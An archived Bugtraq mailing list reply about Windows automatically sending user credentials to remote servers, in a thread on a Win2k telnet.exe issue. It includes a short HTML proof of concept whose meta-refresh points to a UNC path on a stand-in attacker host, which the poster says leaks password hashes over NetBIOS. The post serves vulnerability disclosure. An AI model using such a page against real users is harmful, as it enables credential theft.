Home page logo
/

bugtraq logo Bugtraq mailing list archives

Re: Win2k Telnet.exe malicious server vulnerability
From: Рягин Михаил Юрьевич <ryagin () EXTRIM RU>
Date: Fri, 15 Sep 2000 10:59:26 +0600

The problem is far more general then within single poor configuration defaults in telnet.exe.
The main problem is that Windows automatically supply user credentials in many situations without ever asking for his 
opinion.
  For example, the following html file:

 <html><head>
 <meta http-equiv="refresh" content="5;URL=file://\\www.hackers_site.com\test.txt">
 </head>
 <body>
   You will be hacked within 5 seconds...
 </body>
 </html>

will automatically connect to evil site thru netbios and supply user password hashes.
Putting malicious site into 'Restricted Zone' doesn't helps.


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault